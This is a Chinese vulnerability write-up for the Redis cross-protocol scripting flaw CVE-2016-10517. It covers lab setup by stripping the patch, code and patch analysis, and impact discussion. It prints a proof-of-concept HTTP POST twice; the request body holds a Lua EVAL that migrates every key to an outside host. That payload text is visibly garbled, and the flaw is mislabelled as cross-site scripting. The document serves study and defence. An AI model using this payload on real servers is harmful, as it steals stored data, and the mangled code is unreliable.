CVE-2016-10517_Redis跨协议漏洞

Catalogue
  1. 1. 漏洞信息
    1. 1.1. 漏洞简介
    2. 1.2. 组件概述
    3. 1.3. 漏洞概述
    4. 1.4. 漏洞利用条件
    5. 1.5. 漏洞影响。
    6. 1.6. 漏洞修复
  2. 2. 漏洞复现
    1. 2.1. 应用协议
    2. 2.2. 环境安装/搭建
    3. 2.3. 漏洞复现
  3. 3. 漏洞分析
    1. 3.1. 技术背景
    2. 3.2. 详细分析
      1. 3.2.1. 漏洞利用过程
      2. 3.2.2. 代码分析
      3. 3.2.3. 漏洞触发过程
      4. 3.2.4. 补丁分析
    3. 3.3. 流量分析
  4. 4. 参考资料

漏洞信息

漏洞简介

  • 漏洞名称:Redis跨站脚本漏洞
  • 漏洞编号:CVE-2016-10517
  • 漏洞类型:跨协议脚本
  • CVSS评分:【CVSS v2.0:】【CVSS v3.0:7.4】
  • 漏洞危害等级:中危

组件概述

​ Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

​ 它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

漏洞概述

​ Redis 3.2.7之前的版本中的networking.c文件存在跨站脚本漏洞。远程攻击者可利用该漏洞在浏览器中执行任意的脚本代码。

漏洞利用条件

​ 攻击者可以远程访问redis-server

​ 1.可以从浏览器发起特定的 HTTP 请求

​ 2.可以从开发者的机器访问到 Redis 服务器

漏洞影响。

​ Redis up to 3.2.7

漏洞修复

https://github.com/redis/redis/commit/874804da0c014a7d704b3d285aa500098a931f50

漏洞复现

应用协议

6379/RESP/HTTP

环境安装/搭建

在环境共享服务器中获取到环境源码\安装包,地址为:\\10.251.0.11\R-Redis\redis-3.2.7-unpacth.tar.zip文件,解压编译即可。

因为Redis对全版本进行了修复,若直接用redis-3.2.7源码编译,发送poc后,redis-server会提示该漏洞利用的提示:

并且发送的TCP连接会直接中断,如果存在漏洞redis-server会回复err不会直接断连接。

所以,先对redis-3.2.7源码进行去补丁操作。

补丁增加了一个判断函数 securityWarningCommand,将此函数的声明和调用在src/server.h、src/networking.c和src/server.c中删除。

漏洞复现

​ 利用brup直接向靶机发送poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
post / HTTP/1.1
Host: localhost: 6379
User-Agent: Mozilla/5.0 (Macintos; Intel Mac oS 10.12; rv: 50.0)
Gecko/20100101 Firefox/50.0
Accept:*/*
Accept-Language: en-0s, en;g=0.5
Accept-Encoding: gzip, deflate
referer: http: //localhost: 8000/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 10196
origin: http: //localhost: 8000
Connection: close

EVAL 'for k, v in pairs(redis. call("KEYS", "*") do 4 redis.pcall("MIGRATE","whatsinm.com"11111 5 v0,200)end'0

​ 未打补丁的redis-server则会响应,并保持连接。

漏洞分析

技术背景

​ Lua是Redis 支持的轻量级脚本语言。 Redis内置了Lua解释器。Lua在Redis中的使用方法,可参考https://www.redisgreen.net/blog/intro-to-lua-for-redis-programmers/

详细分析

漏洞利用过程

​ Redis 在解析命令的时候,会把每行文本当做输入。如果输入不能匹配上特定的命令,则丢弃输入。这意味着,如果我们用 HTTP 协议请求 Redis,那么 Redis 会跳过不认识的各种报头,执行请求体中的命令。举个例子,下面的 HTTP 请求中,只有最后的 EVAL 会被解析成合法的命令并执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
post / HTTP/1.1
Host: localhost: 6379
User-Agent: Mozilla/5.0 (Macintos; Intel Mac oS 10.12; rv: 50.0)
Gecko/20100101 Firefox/50.0
Accept:*/*
Accept-Language: en-0s, en;g=0.5
Accept-Encoding: gzip, deflate
referer: http: //localhost: 8000/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 10196
origin: http: //localhost: 8000
Connection: close

EVAL 'for k, v in pairs(redis. call("KEYS", "*") do 4 redis.pcall("MIGRATE","whatsinm.com"11111 5 v0,200)end'0

​ 初看好像不算什么问题,毕竟攻击者都能直接请求 Redis 了,没必要用 HTTP 协议掩饰攻击行为。不过漏洞的发掘者想得更加深入。在他的 POC 中,构造了一个 HTML 页面,利用 AJAX 去请求 6379 端口。

​ 一般来说,Redis 是不会暴露在公网里的,但是有可能跟开发者的机器在同一个内网中。假设开发者的浏览器发起了 AJAX 请求,便能绕过外网的限制,直接访问内网的 Redis。即使 Redis 不在 localhost 上,通过扫描(或者社工出具体的服务器地址)也有可能嗅探到内网中的 Redis 实例。

代码分析

​ 在src/server.c中,声明全局数组redisCommandTable,存放redis中所有命令名称,由于不包括POST和host等一些HTTP定义的头部,导致无法判断出HTTP协议,攻击者将真实的redis命令写入HTTP协议的body中,redis没有直接拒绝连接而是继续搜索到body部分,成功执行命令。

每个列表由以下字段组成:

  • name:表示命令名称的字符串。

  • function:指向实现命令的 C 函数的指针。

  • arity: 参数数,可以使用 -N 表示>= N

  • sflags:命令标志为字符串。有关标志表,请参阅下文。

  • flags: 标志作为字掩码。由 Redis 使用”sflags”字段计算。

  • get_keys_proc:从命令获取键参数的可选函数。

  • 这仅在以下三个字段不足以指定哪些参数是键。

  • first_key_index: 第一个参数是关键

  • last_key_index: 最后一个论点是关键

  • key_step:步骤获取从第一个到最后一个参数的所有键。

  • microseconds:此命令的总执行时间微秒。

  • calls:此命令的调用总数。

  • flags、 microseconds、calls字段由 Redis 计算,应始终设置为零。

    ​ 命令标志使用字符串表示,其中每个字符都表示一个标志。稍后,populateCommandTable 函数将处理使用此字符填充真正的”flags”字段。

这是标志的含义:

  • w: 写入命令 (可以修改键空间)。
  • r: 读取命令(永远不会修改密钥空间)。
  • m: 一旦调用, 可能会增加内存使用量。如果内存不足,请不允许。
  • a: 管理命令,如保存或关闭。
  • p: Pub/子相关命令。
  • f: 强制复制此命令, 无论服务器。
  • s: 脚本中不允许使用命令。
  • R:随机命令。命令不是确定性的,也就是说,同一个命令具有相同的参数,具有相同的键空间,可能有不同的结果。例如,SPOP 和 RANDOMKEY 是两个随机命令。
  • S: 排序命令输出数组,如果从脚本调用,使输出是确定性的。
  • l:在加载数据库时允许命令。
  • t: 当从属有陈旧数据但不允许使用时,允许命令服务器此数据。在这种情况下,通常不接受任何命令但只是几个。
  • M: 不要在监视器上自动传播命令。
  • k: 对此命令执行隐式请求,因此该命令将如果插槽标记为”导入”,则接受群集模式。
  • F: 快速命令: O(1) 或 O(log(N)) 命令,不应延迟只要内核调度程序给我们时间,它的执行就行。注意,可能触发 DEL 作为副作用的命令(如 SET)不是快速命令。

populateCommandTable函数对提交的命令进行flags的设置:

processCommand函数对提交的命令的flags进行判断是否为redisCommandTable中合法的命令,若不是则输出unknown command。

漏洞触发过程

​ 在src/server.c中,声明全局数组redisCommandTable,存放redis中所有命令名称,由于不包括POST和host等一些HTTP定义的头部,导致无法判断出HTTP协议,攻击者将真实的redis命令写入HTTP协议的body中,redis没有直接拒绝连接,而是在processCommcand函数中一直搜索,遇到不在redisCommandTable中合法的命令,则输出unknown command。否则继续搜索到body部分,最后成功执行命令。

补丁分析

先分析 Redis 该补丁的工作原理:

​ 作为 HTTP/1.1 规范,请求报头中应该有 Host 报头。如果没有,服务器会返回 400 错误码。这意味着,浏览器自己发送的 AJAX 请求中必然会带上 Host 报头。将Host和POST放进redisCommandTable数组中,当以后遇到这两个关键词,直接报错

1
# Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.

​ 可以尝试用 setRequestHeader 去自定义请求报头。

​ 浏览器也知道这一点。如果用了 setRequestHeader,浏览器会先发送一个 OPTIONS 请求,附上 Access-Control-Request-Headers 报头,待目标服务器明断。只有服务器许可之后,才会进一步发送定制的 AJAX 请求。在这个场景里, Redis 自然什么都不会回复。

​ 总而言之,没有什么办法,可以发送不带 Host 报头的 AJAX 请求。意味着只要 Host 被拉黑,所有的 AJAX 请求也被拉黑了。

对于没打该补丁的版本,该漏洞会有多大的影响?

​ 漏洞依赖的第二点(可以从开发者的机器访问到 Redis 服务器),一般情况下难以满足。毕竟大多数时候,办公区网络和机房网络不在同一个网段里,而且还是互相隔离的。如果不是定点攻击,很难击中目标服务器。

​ 漏洞依赖的第一点(可以从浏览器发起特定的 HTTP 请求),在很大程度上受浏览器的限制。对于那些想利用 AJAX 的攻击者,浏览器可是见得多了。不要忘记同源策略。即使黑客可以去请求特定的 Redis 服务器,受同源策略的影响,浏览器也不会返回响应的结果。意味着,攻击者可以向 Redis 发送命令,但是他们无法知道攻击是否成功。无法评估攻击的效果,通常会令漏洞的价值大打折扣。

​ 当然如果能结合同源策略绕过,确实可以拿到具体的响应。但是这么一来利用空间就更窄了。

流量分析

用HTTP协议伪装redis命令,在POST方法中的body部分添加redis命令。

参考资料